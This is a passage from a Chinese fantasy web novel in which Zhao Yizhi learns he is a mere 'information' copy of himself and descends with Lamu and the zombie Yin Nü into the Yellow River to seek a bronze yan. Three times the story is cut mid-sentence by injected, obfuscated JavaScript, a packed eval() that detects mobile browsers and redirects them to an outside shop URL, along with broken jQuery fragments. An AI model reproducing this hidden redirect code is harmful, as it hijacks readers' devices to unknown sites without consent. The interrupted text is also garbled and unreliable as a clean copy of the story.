“不不,我刚刚才在博物馆里看见台历,上面很清楚印着2020年。”赵义之不敢相信,也不愿意相信,“我确定是2020年!”
他清楚记得自己在博物馆里只待了一个晚上和半个白天,绝不可能有五年这么久。他忽然想起什么,神情从不解不信瞬间变为错愕,而后又逐渐失落,精彩纷呈。拉姆曾说过,只要七日内他想起来,就能离开博物馆。如果真的已经过去五年,是否意味着他没有在时限内想起来?
“馆主,今年的宴会是不是办不成了?”阴女手中还抱着用布仔细包好的鹿肉。
“办不成了。”
阴女看向原本博物馆所在的位置,眼中的神情难以言喻:“其他的记录也都没了?”
拉姆点点头:“嗯。”
“您有什么打算?”
“二位。”赵义之其实并不想打扰拉姆和阴女,本来准备等他们聊完之后再说他的事,可偏偏拉姆沉默下来没有回答阴女的问题,他这才想着“那不如先聊聊我的问题”,开了口,“既然你们聊不下去,干脆先解决一下我心里的疑惑吧。”
拉姆与阴女同时转头看过来,都未作声。
赵义之干咳一声清清嗓,继续说:“你们不反对,那我继续了哈。首先第一个,我是不是已经死了?就是五年前的六月十八号,我下班开车回家给我外公庆祝八十大寿……呃我先打个岔,我外公现在身体怎么样?”
“我不知道。”拉姆回答得非常干脆。
赵义之又看向阴女,见她只是耸耸肩便无奈叹口气:“好吧。我开车回家,结果因为下大雨,在高速路上出车祸,死了。对吗?”
阴女抿抿唇笑着不说话,而拉姆似乎在沉思,片刻后才说:“赵义之还活着。”
“还活着?!”赵义之惊讶地破音了,“我没死?!那……那这五年没人找过我?警察也没来过?”
答案太出乎意料,以至于赵义之准备的提问节奏被打乱,确切说,相比之下,其他疑问都可以暂且放一边。他紧紧盯着拉姆,想听他解释。
需要说明的事情太多,拉姆一时间还没想好该从哪里开始讲起,竟是微微皱起眉,露出一副苦思的表情。
“你从头讲吧。”赵义之给拉姆提供了一个思路。
拉姆的眉头这才稍有舒展,缓缓吐出一口气,说:“阿卡夏是从我体内出来的。”
赵义之的嘴比脑子快:“他是你儿子?”
“不是儿子,他算是我的一个分身。很久以前,我将自己对神的仇恨从体内剥离,这些负面情绪后来成为阿卡夏的灵魂。”
赵义之张张嘴,但还是将话咽回肚子里。他想问问拉姆,是不是失手把自己所有情绪都剥离了。
拉姆对赵义之的欲言又止没有察觉:“存在的、存在过的和必定将存在的,都会留下痕迹,有痕迹必有信息,信息会被记录。从世界诞生到世界毁灭的全部信息,记录在一个大厅里。”
赵义之忽然想到一个词:“命运。”
拉姆思考片刻,说道:“的确可以这么说。”他接着之前的话继续说,“阿卡夏正是诞生于大厅。他想打开大厅,让人知道记录的内容,学会创造世界。”
“这不是好事吗?如果这份记录真的什么都有,人就可以学到更多知识,创造出新世界。这样国家和国家之间就没有战争的必要了,世界大和平。”
拉姆似乎摇了摇头:“人一旦学会如何创造世界,就会毁灭世界,最终自我毁灭。当你无所不知的时候,便会失去‘本我’。所以我反对他打开大厅。”
“提问。”赵义之举起手,“你知道打开大厅的方法?”
“我不知道,只有阿卡夏才有打开大厅的能力。但是,如果没有我的记录,大厅就不算完全打开。五年前,你的确在回家的路上出了车祸,身体被送往医院,只是你的灵魂还在往家赶。后来遇上阴女,在她的引导下来到博物馆。”
赵义之转头看向阴女,阴女则朝他露出迷人的微笑。当时正是这个笑,让他产生莫名其妙的骑士精神,不顾一切送她到目的地。
拉姆继续往下说:“经过抢救,你的身体暂时保住了生命特征,但因为灵魂离开,所以迟迟没有醒。”
“我现在回去还来得及吗?”
“你的灵魂在五年前回到身体,不久后便出院了。”
赵义之甚是疑惑:“那我这是……”
拉姆重新调整身体的面向,恰好正对着赵义之:“站在这里的你,是赵义之的信息。算是,你吃下‘非此之物’的后遗症。”
“我没懂你的意思,我怎么就成信息了?”
拉姆手上不知什么时候多出一支蜡烛,正是那晚他给赵义之用以照明的那支。他朝赵义之的方向递出蜡烛:“这是你的载体。你从赵义之身上分离出来的时候,手里正好握着这支蜡烛。”
老实讲,赵义之不相信拉姆的话,迄今为止所有的经历、所有的感觉他全都记得清清楚楚。说他是个鬼他还能接受,说他是信息?骗鬼呢。
似乎察觉到赵义之不信,拉姆只好收回蜡烛,用掌心托着它放在唇前,像念咒般低声说:“赵义之,生于一九九五年六月二十五日。”
随着拉姆清冷的嗓音说出这句话,蜡烛顶部兀自点燃了火苗。火苗橙色的光如烟一般扭着身子飘荡起来,徐徐朝赵义之游去。即将被光烟碰上时,赵义之迅速朝旁边让出两步,直勾勾盯着它看。光烟的前端扑了个空,像是产生困惑般在原地停顿片刻,这才转个弯飞快找到赵义之,将他缠绕起来。
赵义之刚想说这东西像个活物,嘴还没来得及张开,就变成一个刚出生的紫皮婴儿,浮在半空。婴儿愣住,随后嗷嗷大哭,踩着空气急速朝拉姆爬过来,抓住他胸口的衣裳咿咿呀呀胡言乱语。意思大抵是让他把自己变回去。
拉姆吹灭蜡烛,光烟也随之消失,小婴儿的身体犹似泡开的茶叶,仅用数秒就恢复到成年人的模样。
赵义之连忙松开拉姆的衣服双脚落地,低头确认过自己的身体与样貌无异,才慢慢抬起呆滞的脸:“我真的只是赵义之的信息?”
“嗯。”
虽然他还是不愿意相信:“就算我只是信息,你也可以早点和我说,我心理承受能力还可以,不至于关我五年。”
“关于这件事,我想先和你道歉。”拉姆微微向赵义之低头鞠躬。
赵义之大手一挥,不计前嫌:“唉算了,信息就信息吧。”
“之所以关你七天,是怕你去医院知道自己只是信息而出现波动,影响身体与灵魂之间的稳定。七天后,身体与灵魂重新融合,无论你在周围怎么波动都不会有危险了。并且离开载体,用不了多久,作为信息的拟态,你会消
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248792|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
失。”
所以当时才说是选择。
“听你这意思……”赵义之的视线落在拉姆手中的白色蜡烛上,“我不能离开这东西?”
“二十四小时内可以。”
换而言之,蜡烛在哪儿他就得在哪儿。
“那博物馆……”阴女说着回头看向本该有博物馆的地方。
拉姆暗自叹口气,说:“自从阿卡夏形成独立的意识,就一直在找我,不过有博物馆的保护,他无法通过我的信息知道位置。但……他找到了你。”拉姆的眼睛“看”着赵义之,“阿卡夏通过你留在博物馆的信息找到这里,并且想将保存在博物馆里的我的信息放进记录大厅,从而打开大门。我只能将博物馆彻底关闭,并尝试把阿卡夏送回大厅。这一关就是五年。”
想到之前趴在展示门上看见的一切,赵义之恍然大悟:“你是用那黑球把他送回了记录大厅?”
拉姆摇摇头:“不过我的记录还是被阿卡夏散播出去了,博物馆也因此消失。”
赵义之勉强接受了目前的状况:“那他为什么要带我走?和你说的缔结执行者有关?”
拉姆说:“阿卡夏需要一个执行者,替他传播信息。执行者不能是生物,也不能是死物。像你这样的存在,是最完美的对象。为了不让他与你接触,我只好暂时将你隔离。”
赵义之若有所悟地点点头:“也是不幸中的万幸了。”
“这可未必。”阴女轻飘飘开口说道,“只要馆主的记录没有找回来,阿卡夏的机会依旧存在。虽然眼前的‘赵先生’很独特,但世界上未必只有他是这样。更何况,阿卡夏能在记录大厅里阅读除馆主之外的所有信息,也就是说,他知道如何创造出第二个‘赵先生’。只是条件符合达成的问题。至少得将‘青铜甗’找回来。”
拉姆的脸色似乎变得沉重了一些:“我也是这么想的。不止‘青铜甗’,别的,全都得找回来。”
阴女长呼口气,笑起来:“既然如此,得做好出远门的准备了。”
“又要给你添麻烦了。”
“您别这么说,没有您,也就没有今天的阴女。”
看着温柔的阴女,赵义之实在不敢将她和“回忆”中看见的吃人女鬼联系在一起。
注意到赵义之的目光,阴女侧头问道:“怎么了赵先生,您为什么一脸严肃地看着我?”
“我们三个,是不是没有一个是人类?”他问得比较含蓄。
阴女勾起唇角笑了,舌尖探出来舔过旁边的尖牙:“您是想问,我到底是个什么东西吗?”
赵义之神情一变,最后老实点头:“你说对了。”
“那赵先生,听说过僵尸吗?”
答案并不令人意外,赵义之先前就已经有了这个猜测:“听说过,但还是头一次见,幸好是先见到的是你。”
阴女轻笑两声:“看来我们的确很有缘。”
“还行吧。”赵义之不好意思地摸摸鼻尖,随后立刻又一本正经地问,“你们有户口身份证吗?”
阴女眨眨眼,不明所以。拉姆更是直接否认:“没有。”
“去派出所办一个吧,坐高铁飞机出行方便,心里不虚。对了我再多问一句,普通人能看见我吗?还是只能看见……”赵义之的目光再次落到拉姆手中的蜡烛上,“我的载体?”
“都看不见。所谓载体,也只是一段记录。”
20. 赵义之的答案
需要落户口以及办理身份证的,只有拉姆。
令赵义之意外的是,阴女有合法的户口,而让他更惊讶的是,阴女甚至结了婚,丈夫正是周书云。赵义之看着被阴女打电话叫来的周书云,震惊得像个智力有缺陷的病人——合不拢嘴。
“拉姆先生,好久不见。”周书云热情地与拉姆握手。
和赵义之在记录中看见的不同,眼前的周书云明显变得更加沉稳和圆滑,半点没有稚气未脱的青涩模样。说来,他是被阴女所杀,又被拉姆变成僵尸,没有怨恨也就罢了,竟然还如此亲密。
他只能说一句佩服。
“我在电话里都听孟英说了,先回家吧。”
孟英是阴女身份证上的名字。至于为什么姓“孟”,她没做任何解释。
当年返回营口后,阴女没有和拉姆一起走,而是选择留下来。如出发之前所料,日本人很快便发现龙骨被盗、以及研究龙骨的教授横死宿舍,而嫌疑人则是校长。当然,谋杀案件不了了之,人们的目光聚焦在龙骨失窃这一大新闻上,日本人更是关注。很快,根据守棚老人提供的线索,再加上周书云不知所踪,警察署很快便锁定目标,将周奶奶给抓了起来。
经过一番审问,周奶奶咬死说周书云只是探亲,于是没有进展的警察署又从船只下手,找到周书云的儿时好友陈达年。陈达年硬是扛了几天,可最终还是经不住皮肉之苦,如实说出周书云出海一事,却死活没提龙骨。
尽管如此,日本人依旧怒不可遏,将周奶奶与陈达年押至西海岸,当着营口百姓的面直接枪决。
于是当周书云回到家中,迎接他的便只有一支端着步枪的日本兵。
周书云起先愣住,很快回过神后便转身关上了大门。
枪声在院中不断响起,伴随着日本人此起彼伏的惨叫。
“速度慢了些。”阴女坐在周家院墙上,翘着二郎腿,托着下巴,百无聊赖的慵懒之余不忘点评两句,“虽然死不了,但真受伤了,恢复起来也麻烦。”
院子里的周书云半转过身体抬头看她,手上脸上全是血:“有什么办法可以让我的行动变快吗?”
“等你吃饱了再说。”
他们不能当着别人的面杀日本人,所以每次都是悄悄的,杀完吃了,就走。
至于为什么阴女最后没有吃掉周书云……
驾驶室的周书云笑起来,显得有些腼腆:“毕竟,谁也不知哪天会不会又打仗。反正已经这样了,总得物尽其用嘛。”
“你现在还在当记者?”坐在后排的赵义之问。
他的身份特殊,似乎也只有特殊之人才看得见他、听得见他。
周书云习惯性瞥了眼左后视镜:“我现在是老师,教初中历史。”
“确实适合你。”赵义之又想到了什么,转头问坐在自己身边的拉姆,“你有钱吗?之后去找你的信息载体免不了天南地北地跑,交通费、住宿费、餐饮费,这些都要花钱。”
这一点倒是拉姆之前没想到的。他不吃东西也不会死,要休息随便找个干净的地方闭目坐坐就行,至于交通,反正他时间充裕,去哪儿都是靠走路。不过好在以前多少存有一些,或许够用。
见拉姆不说话,赵义之以为是他对钱没概念,于是解释:“钱呢,就是和别人交换东西用的,俗称买卖。”
“我知道。”
副驾驶的阴女掩面笑起来:“钱的事情赵先生不用担心,馆主放了一些在我这里。”
“那就好,现代社会,没钱多少有点不方便。”
依赵义之的猜想,这里的“一些”可能最多就是小几十万。可当他们抵达阴女与周书云居住的小区,阴女从房间里提出一只皮箱时,赵义之终于隐隐觉得不对劲。
周书云与阴女家住在洛阳,是省外,开车到白龙镇紧赶慢赶也需要十多个小时。于是索性,在赵义之的提议下,拉姆和阴女先去镇上尝了尝鱼,然后带他去见那个真正的赵义之的妻女。
远远的,他看见一位名叫姚苏的女人在街边停车,然后走进旁边的早教机构。带女儿来上早教课的是婆婆和家里的保姆,姚苏是个医生,两人在赵义之出车祸住院那段时间里认识,彼此看对眼交换了联系方式开始发展。今年,是他们结婚两周年,女儿刚满一岁。姚苏今天下班早,所以亲自来接女儿回家。
姚苏进去没多久便出来了,她抱着女儿,身边是推婴儿车的保姆,婆婆一直在帮她整理女儿的衣裳。
“今天老师安排了语言训练,老师夸我们优优聪敏呢。是不是呀优优。”婆婆指着姚苏问优优,“这是谁呀?”
“ma……ma……”
“哎呦,我们优优真聪明!”
这里人来人往的,卖小零食的也多。不过没人能看见只是信息拟态的赵义之,包括姚苏与赵有希。她们坐上停在路边的一辆私家车,慢慢驶离拥堵的道路。
“唉……我这小子真有福气。”站在街对面注视着车辆远去的赵义之突然鼻子发酸,有点想哭。
阴女低头点开手机看了一眼周书云发来的消息,问道:“书云说他快到了。还有一点时间,赵先生,您要去看看活着的赵先生吗?”
赵义之没去看,他认为照照镜子能解决的事,实在没必要跑一趟,遭罪。
“这些就是馆主寄放在我这里的全部数额了。”阴女将手提皮箱放在地板上,准备打开。
赵义之觉得很奇怪:“怎么不放桌上?”
蹲下身的阴女抬头朝赵义之露出甜甜的笑:“茶几是玻璃的,怕压坏。”
便听咔哒两声,阴女的纤纤玉手已经解开皮箱扣上的锁,掀起盖子,将开口调转方向面朝坐在三人沙发上的拉姆与赵义之。这只方方正正的手提皮箱最外面是羊皮的,深褐色,皮质的纹理清晰可见,大约十四寸,样式老旧。
塞满这只老旧皮箱的,是码放整齐的厚厚几层金砖,赵义之的前半生加起来都没见过这么多钱。
“你、你……你们管这叫‘一些’?!”赵义之从沙发上跳起来,指着满满一箱金砖问,“这能叫‘一些’?!”
阴女抬起身顺势坐到旁边的沙发上,泡好茶的周书云端着玻璃杯走过来,笑着说:“金钱对我们这样的‘人’而言,用处不多。拉姆先生喝茶,赵先生喝茶。”
“明天拿去换成当前流通的货币,应该足够车马费了。”拉姆伸手端起水杯,吹了吹。
“这可太够了,怪不得阴女说会压坏玻璃。一共多少斤,你们称过没?”赵义之蹲在皮箱边,两只手各拿一块大金砖掂量。这才叫生活的压力。
周书云坐在阴女那只单人沙发的扶手上:“一块二十斤左右,差不多四百斤。”
“四……?!”赵义之到抽口冷气。
“明天先去派出所落户办理身份证,要验指纹,证件下来差不多三周。拉姆先生算是黑户,可能还需要抽血。”周书云说道。
“抽血?”赵义之惊诧的目光在周书云与阴女的脸上来回扫视,“你们不怕被查出身体和普通人不一样吗?比如DNA之类的……应该有区别的吧。”
周书云与阴女相视一眼:“我们落户的时间比较早,没有抽血。但是出发去接你们之前,我到户籍管理处打听了一下,现在为了筛查需要抽血。”
赵义之对此颇有兴趣,转头看向事不关己泰然自若的拉姆:“你能抽血吗?别最后验出来是个新物种。”
“可以抽。”拉姆说,“他们会得到想要的结果。”
赵义之觉得这话古怪,想了想,问:“什么意思?”
拉姆不打算回答这个问题。他放下杯子,面朝周书云与阴女的方向说:“青铜甗所在的地方离这里不远,等明天办好了手续,有劳周
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248793|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
先生开车送我们过去。”
周书云转头看向身边的阴女:“别这么客气。我知道地方。对了,金砖兑换不宜一次兑太多,也不宜太频繁,容易引起怀疑。一旦真有人仔细追查我们的祖籍,会很麻烦。还是尽量保持低调。”
拉姆点点头。他们三人的确经不住细查。
趁着方便,拉姆的户籍落在周书云和阴女的户口本上,身份是阴女的表哥。只是他的样貌实在不像汉人,即使事前已经将头发染成了黑色,也依旧被警察怀疑是个混血,最后好一折腾才终于办完。至于名字么,是阴女为他想的,叫沈晄。
听到这个名字的赵义之脱口问出两个问题:“为什么姓沈?晄有什么说法吗?”
面前还有派出所的民警在,所以没人回答。
“户口本三个工作日后可以来领取,身份证需要十五个工作日。如果需要邮寄,扫这里支付邮费。”
“好,感谢。”周书云扫码支付了工本费与邮费。
走出办事大厅,阴女掏出手机打开前置相机走到拉姆身边:“今天是个值得纪念的日子。馆主,我觉得我们应该拍张照。”
听见拍照,走在前面的赵义之立刻折回来,边走边整理发型。可他走到拉姆身边往屏幕上一瞧,赫然出现的却是一片空白。
拉倒,不拍也罢。
他转头就走。
阴女轻笑出声,招手等来周书云,拍下他们的第一张合照。然后,在前往孟州的路上,她用自己的社交账号发布了这张照片。
很快,有人点了一个赞。
她垂目瞥见,不经意勾起嘴角,转头看向窗外悠悠哼起歌,调子十分怪异。周书云立即关闭车载电台的声音,听得津津有味。
可是听习惯流行音乐的赵义之却截然相反,转头看向身边的拉姆想寻求认同,哪知拉姆跟木头似的,岿然不动。
赵义之实在好奇得不行,终于开口问:“阴女,你哼的是哪首歌?国外的吗?”
“是我家乡的调子,不算歌。”阴女心情不错,“以前,祭祀的时候才会演奏。”
“祭祀?”赵义之的语气里透着惊诧。
阴女听出来了,眼神中不禁流露出一丝怅惘:“很久以前的事了。久到……我都想不起来家的位置。”
这句话赵义之是信的。他试探着问:“我有点好奇,你们,活了多久?就是你和拉姆。”
“什么样的算‘活’?”阴女反问道。
“啊?”赵义之始料未及。
“若是作为一个‘人’,我似乎只活了十六年。但你若是问我作为僵尸存活了多久,那可数不清了。”她将鬓角的头发别到耳后,“至于馆主,恐怕就更数不清了。”
赵义之侧头看向拉姆,拿手肘撞撞他:“真的?”
拉姆如实承认:“我的确活了很久。”
“多久?”赵义之追问,“四千年?五千年?虞朝和夏朝到底存不存在?”
拉姆不答反问:“你觉得,生命是什么?”
“这么突然的吗。”这个问题赵义之在“回忆”里听拉姆问过两次,他稍稍思考片刻,带着不确定的语气回答,“生命是……等死。”
木头一般的拉姆像被激活的机器仿生人,脑袋很明显地抬起一下,继而转头面向赵义之:“生命是等死?”
“对啊,在我看来,所谓的繁衍没有任何意义,人是因为怕死才不得不活着,如果死没有痛苦,不知道世界上还剩下多少人。”
停顿十来秒的拉姆突然哈地笑出声:“没想到,我竟然会第二次听到这个答案。”他又笑了几声,“这个回答,现在听起来,实在是……好笑。”
“你……”赵义之不确定地问,“是在笑?”
“是啊,我在笑。”
“可……”
你的人设难道不是沉默寡言的面瘫吗?
21.黄河之水天上来
到达孟州后,只能凭拉姆的感觉继续往南面开,没人能说出青铜甗所在的确切位置,包括阴女自己。
到附近的村庄时,差不多已是几近傍晚。好在村庄外围人少,大都聚集在中心区域,所以没人注意到这辆朝黄河驶去的私家车。
车一直开到黄河边的小路前才停。最先下车的是阴女,她仰起头望向夕阳下的黄河水,脸上满是怀念:“好久没有回来过了。”
正下车的赵义之听见这句话,便问:“你是这里的人?怪不得你们住在洛阳。”
阴女勾了勾唇角,径直朝黄河走去。
“我在车这里等,不跟你们进去了,以防有人过来盘问。”周书云站在车子驾驶室旁,边关门边说。
“进去?”赵义之奇怪地朝四周张望,并没有发现可以称之为“进去”的地方。
周书云抱着手臂自在地靠着车头,笑着回答赵义之:“跟着去你就知道了。”
孟州有个湿地公园,被治理得很好,河水清澈风景宜人,如果是旅游,大概他会将拉姆和赵义之带去那里。然而,今天并不是来游玩的。他们目前所在的地方位于湿地公园的下游,相比之下,河水明显浑浊许多,也并没有什么值得被人记录的景致。
但偏偏就是这个地方,埋着数千年前的人类文明。
赵义之大步跟上拉姆:“是不是只要蜡烛没事我就没事?”
“是。”
“那没事了,我跟你们去开开眼。”
拉姆补充:“你和蜡烛相辅相成,只要你没事,蜡烛便也没事。”
赵义之刚挂脸上的开心骤然凉半截。
拉姆又补充:“一般来说,除非遇上可以改变信息的东西,否则很难对你造成不可逆的伤害。”
“早说啊你,害我担心。”
“不过……”拉姆继续补充,“要损毁蜡烛就容易多了。折断还好,就怕遇上火。”
赵义之的心情随着拉姆的话七上八下,和烫鹅肠似的。他冷脸睥睨拉姆:“还有什么,你一次性说完。”
“我们要去黄河河底。”
赵义之倏地停下脚步讶异看着拉姆的背影,随后转念又一想,反正黄河是水不是火,便不再过多烦恼,小跑着越过拉姆身边来到阴女所站的地方。
日暮之下,河水兀自静静流淌,很急,却并不汹涌。赵义之弯腰朝河面望,便见河面之上泛着奇怪的荧光,将夕阳余晖彻底掩盖。再瞧得仔细些,才发现那五颜六色绚烂的光竟是活物形态,有些像毛毛虫、有些像水母、有些像树根、有些像树叶,游来飘去各有动作。
“那些都是黄河的信息。”拉姆像是猜中赵义之的心思,不等他提问便先回答。
“好漂亮。”
“也很危险。”阴女说完,抬手将赵义之推了下去,接着自己也紧随其后。
拉姆摘下墨镜叠好放进怀中的衣兜,纵身一跃。
入水之后,没有想象中的压迫或是窒息,反倒令赵义之有种身轻如燕的感觉。他慢慢睁开紧闭的双眼——如夜空般深沉的蓝色浩瀚空间替代原本算不上清澈的河水,出现在他眼底。之前在河岸边所见的绚烂荧光生物,飘荡于四面八方。他像是落入了这样一个地方:没有所谓的天与地,没有所谓的人与兽,绚丽的怪物是这里的主人,是这里唯一的存在。
人?何其无足轻重。
恍惚间他便也化作怪物的其中之一,手脚变成无数触须,脑袋与身体融合成一朵蘑菇,逐渐散发出紫色的荧光。
忽地,他的一条触须被什么东西抓住,将他拉了过去。
“别忘记自己的名字。”
清冷的声音传入他耳中。
“赵义之。”
赵义之猛地一激灵,这才发现自己被拉姆抓住手腕。
“千万别忘记自己的名字。”拉姆再次强调。
赵义之点点头,心有余悸。他刚才险些就变成别的什么东西了。
拉姆担心赵义之再次被同化,索性一直抓着他:“拟态失去自我会变得十分危险。”
“有多危险?”
“喏。”阴女朝下方扬扬下巴,“那些就是。”
赵义之顺着阴女的视线一瞧,发觉自己似乎没能正确理解拉姆的意思,于是问:“是指他们自己有危险,还是会对我们造成危险?”
拉姆平静地说:“后者。”
简而言之,就是没有理智的人偶。
阴女幽幽叹口气,转身对拉姆说道:“他们都是我曾经的族人,我下不了手。”
“嗯,我来。”拉姆将赵义之交给阴女,然后便像从天而降一般往下潜。
底下似乎是个祭坛,七口四方青铜鼎一字架于七个木柴堆上,前面是七具摆放在草席上的牲畜尸体。祭坛之上还有几人,其中一人带着面具朝向铜鼎双手持杖高高向上托举似有呼唤,剩下几人则手持兵器站于两旁。祭坛之下跪着数不清的人。他们上穿衣下着裳,头戴冠帽,纷纷面朝着祭坛静静不动。一切被停止在祭祀将开始的这一刻。
然而却并不见那青铜甗的身影。
随着拉姆降落于人群后,石雕一般的人从沉睡中被惊醒,陆续起身回头看向他。随着手握铜杖之人的一声令下,这些衣着古老的人便纷纷戒备地朝拉姆靠近。
拉姆的“目光”穿过人群落在祭坛上,不禁疑惑起来。在他的记忆中,此时祭坛上放置的不该是七口青铜鼎与牲畜,而是更小的青铜甗与人牲才对。
“邪魅入侵,坏我天祭!”持杖人再次大声开口,“削其骨为辕,剁其肉为马,献天地自然神!”
祭坛下的人一呼百应,很快便将拉姆围在中间,逐渐缩小包围。而拉姆,活了不知道多少年身怀非凡之力的拉姆,一步一步走到人群前,最终在试图闯出去的时候被擒住。
是的,拉姆还没有发挥出实力,便被捉住手脚,像举牲口般被直接举上头顶。
衣着古朴的人欢声高呼,从中间让出一条道,抬人的四名男子举着拉姆走过去。
赵义之转头看向阴女,眼中没有半点因为黄河底变成这副奇异景象的诧异,全是对拉姆实力的怀疑:“这么弱?”
阴女略是无奈地笑笑:“馆主不擅长破坏,哪怕对方只是信息拟态。他更习惯疗愈。”
“怪不得花了五年才把阿卡夏弄走。”赵义之活动着脖子手腕,一副要大干一场的架势,“那些都是和我一样的信息?”
阴女侧头看他,微微有了笑意:“不错。”
“怎么弄?”
“若是我,便直接去祭坛抓拿手杖的人。”
“懂了。”赵义之点点头,朝祭坛游去。
阴女轻轻叹口气:“我是说,若是‘我’。不过……也罢,就让我好好开个眼吧,执行者先生。”
到达祭坛的距离比预料中远,赵义之和拉姆不一样,脑子里始终有个认知——这里是黄河,得游过去。他用熟练的蛙泳姿势朝祭坛赶。就在这途中,拉姆已经被抬上祭坛,和那些准备用来祭祀的牲畜摆在一起。
“拉姆!你跑啊!”赵义之朝他大喊,“又没绑着你!”
拉姆似乎听见了赵义之的呼声,抬头朝他“望”来,然后站起身准备走。旁边拿武器的男人随即大步上前,拽住他的胳膊要将他往地上摔。男人的力气实在大,拉姆被他摔得一个踉跄栽倒在牲口尸体上,手掌按进它被剖开的腹部。
啪叽,全是血。
闪着寒光的矛头抵在拉姆颈脖上:“恁莫乱动,否则砍掉恁的脑袋!”
拉姆慢慢抽出沾满鲜血的手,调整好自己的姿势坐在地上,仰头朝向男人,那双灰白色眼睛仿佛正直勾勾地盯着他:“告诉我,青铜甗在哪里?”
男人被他的眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254850|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定在原地,嘴唇动了动,似乎下一刻便要说些什么。
赵义之看得心里直着急,竟是双腿使劲一蹬,直朝男人俯冲而去。
“青铜——”
“别愣着了,跑啊!”借着下落的速度,赵义之硬着肩膀撞向男人,自己也狠狠摔下来。
他没敢耽误,借着打滚的惯性收回双腿变成蹲,而后倏然起跑闪现到拉姆面前。速度太快,连他自己都吓一跳。
“你怎么来了?”拉姆平静地问。
“当然是来救你。”赵义之环视一圈手拿矛戈朝自己冲过来的几个男人,拍拍拉姆的胳膊,“别怕,看我的。”
或许是身为信息拟态的缘故,从刚才起,赵义之发现自己能做到很多超出常人认知范围内的事。比如单手用力一握便折断女人手腕粗的木棍,比如脚往地面一跺便踩碎祭坛上铺陈的大石板,再比如心念一动便立刻来到手持铜杖的男人面前——这些,违反了物理原理,他只在武侠剧里见过。
赵义之扼住中年男人的脖子,但他没敢太用力,怕不小心给掐断了。
“都别动!”赵义之指着底下数百人,威风凛凛地呵斥,“全部放下武器,抱头蹲好!”
骚乱的人群面露惶恐不知所措,却无人听他的话。赵义之心想,许是这些古代信息听不懂现代人的话,于是抢过中年男人手里的青铜杖,抓住他的肩膀,顺势朝他膝盖窝一踢,逼得男人跪下。
可就在男人双膝着地的瞬间,赵义之便觉手下一空,再低头看时,哪里还有男人的身影。
“人呢?”赵义之惊讶地抬起头,发现不仅是那中年祝祭,连其余的人也全都凭空消失,“怎么个事?”
拉姆站起来,拿出手帕擦拭身上的血:“我们掉进了茧房里。”
“什么茧房?”赵义之环顾着四周与刚才别无二致的景色,走近拉姆身边:“我们不是在黄河底吗?”
“先前是,现在不是了。开放的是库,封闭的是茧。你可以理解为,我们进入了黄河信息的茧房里。就像之前困住你的博物馆。”
“所以我们被困住了?什么时候?”
“你拿走祝祭手中青铜杖的时候。”
赵义之愣住,转头看向手中的铜杖,然后猛地抬头:“你怎么不提醒我呢!”
拉姆将弄脏的手帕叠好,放进裤子口袋:“提醒什么?”
“提醒我别拿祝祭的手杖!”现在青铜杖还在他手里,也不知是该扔还是该继续拿着,“那现在怎么办?我扔了它还来得及吗?”
拉姆微微低下头,像是看着青铜杖在思考。赵义之也不急,双臂抱着青铜杖等他慢慢想明白。
好半晌,拉姆才说:“拿着,或许有帮助。”
赵义之像抗锄头一样将手杖抗在肩上:“接下来,我们怎么打破这个信息茧房?”
拉姆回头看向身后的七只青铜鼎。鼎下的木柴堆不知什么时候被点燃,火势正旺,而那些摆在地上的牲畜尸体也不知被谁放入鼎中,许是再过上一个小时就蒸熟了。
“找到本位,茧房的通道就会打开。”
赵义之面有疑惑:“本位是什么?钥匙?”
“差不多。”
“呃,要是找不到呢?”
“强行打开封闭的茧房会对信息造成很大伤害,不到万不得已,我不想这么做。”
“行,我们去找,找不到再说。”
拉姆回头面向青铜鼎,沉默片刻又说:“得赶在祭祀完成之前找到本位,不然,有些麻烦。”
“那个……我多嘴问一句,是不是因为我拿了祝祭的青铜杖,我们才被关在茧房里?”
“嗯。”
赵义之无奈又自责:“希望下次再有重要的事,你能提前和我说。”
“嗯。”拉姆十分坦诚,“刚刚你撞的那个人,正要告诉我青铜甗的位置。”